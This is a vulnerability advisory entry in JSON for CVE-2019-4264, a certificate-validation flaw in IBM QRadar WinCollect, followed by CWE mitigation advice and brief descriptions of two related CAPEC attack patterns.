5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-4264"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-29T15:29:00Z",
"severity": "MODERATE"
},
"details": "IBM QRadar SIEM 7.2.8 WinCollect could allow an attacker to obtain sensitive information by spoofing a trusted entity using man in the middle techniques due to not validating or incorrectly validating a certificate. IBM X-Force ID: 160072.",
"id": "GHSA-4gf7-m762-7xq9",
"modified": "2023-02-03T21:30:28Z",
"published": "2022-05-24T22:00:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4264"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/160072"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10885464"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108535"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Implementation
Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.
Mitigation
Implementation
If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.